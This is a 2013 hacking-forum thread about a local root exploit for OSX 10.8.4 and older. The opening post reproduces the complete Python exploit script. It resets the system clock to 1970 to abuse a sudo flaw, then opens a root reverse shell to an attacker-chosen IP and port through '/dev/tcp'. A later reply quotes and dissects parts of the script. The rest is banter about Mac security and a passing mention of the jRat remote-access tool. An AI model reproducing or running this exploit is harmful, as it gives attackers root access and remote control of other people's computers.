(10-19-2013, 02:10 AM)Putin Wrote: Literally at least 10% of macs are still on 10.8.4 or below.
Next time some apple lover tells you Macs are secure, show them this and briefly explain it, not like half of you will understand it anyway.

Code:

#!/usr/bin/python ################################################################################################### # Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell # Date: 08-27-2013 # Exploit Author: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # Tested On: OSX 10.8.4 # # Reference: http://www.exploit-db.com/exploits/27944/ # # Example below: # trustedsec:Desktop Dave$ python osx_esc.py # [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444 # # attacker_box:~ Dave$ nc -l 4444 # bash: no job control in this shell # bash-3.2# ################################################################################################### import subprocess # IPADDR for REVERSE SHELL - change this to your attacker IP address ipaddr = "192.168.1.1" # PORT for REVERSE SHELL - change this to your attacker port address port = "4444" # drop into a root shell - replace 192.168.1.1 with the reverse listener proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)) print """ ############################################################### # # OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell # # Written by: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # # Reference: http://www.exploit-db.com/exploits/27944/ ############################################################### """ print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)

(10-20-2013, 12:49 AM)3SidedSquare Wrote:

Code:

#!/usr/bin/python ##Various comments## import subprocess # IPADDR for REVERSE SHELL - change this to your attacker IP address ipaddr = "192.168.1.1" # PORT for REVERSE SHELL - change this to your attacker port address port = "4444" # drop into a root shell - replace 192.168.1.1 with the reverse listener proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)

Ok, from python documentation for 3.2.2:

Code:

On Unix with shell=True, the shell defaults to /bin/sh. If args is a string, the string specifies the command to execute through the shell. This means that the string must be formatted exactly as it would be when typed at the shell prompt. This includes, for example, quoting or backslash escaping filenames with spaces in them.

and

Code:

If the stdin argument was PIPE, this attribute is a file object that provides input to the child process. Otherwise, it is None. If the stdout argument was PIPE, this attribute is a file object that provides output from the child process. Otherwise, it is None. If the stderr argument was PIPE, this attribute is a file object that provides error output from the child process. Otherwise, it is None.

So from what I understand, Popen('bash'... ) should open a bash shell, and the std*=subprocess.PIPE should give whatever the bash shell spits out as the "request" in the reverse shell.

Code:

proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)) ##More various junk###

First, what's with the date? Is it really necessary to -setdate 01:01:1970?
second, shouldn't the second part,
sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)
require root access in the first place? I'm just a little confused, because it doesn't seem to me like we have root access yet, only access at the level of the person who runs the script.
Someone help?

Quote:About five months ago, a bug was discovered on using the Date & Time settings within OSX 10.8.4 and below to perform a local privilege escalation from a normal user to root. The original flaw was a bug in Unix and sudo and allows the execution of changing the date and time to escalate to root permissions from a normal user. The flaw was recently put into the Metasploit Framework by Todd Miller (original bug discovery), Joev (wrote the module), and Juan, Vazquez (bug testing and module fixing).

(10-20-2013, 01:13 AM)Oni Wrote: Macs have terrible security. People fail to realize that the reason why less Mac users are taken advantage of, is simply because there are less Mac users.

(10-20-2013, 03:37 AM)Cosmic Wrote: Macs were secure originally because most malware was built to run on windows. Now that macs are "a thing" people are developing for them, and in turn they're just as shitty was windows is.

I have an English teacher that's adamant she's queen of the fucking internet because she's "untouchable" on her mac. I explained jRat to her and she said "but that's only one virus..."

Idiots.

(10-20-2013, 01:34 AM)mig4ng Wrote:
I dislike every apple product for the simple fact they try to control everything!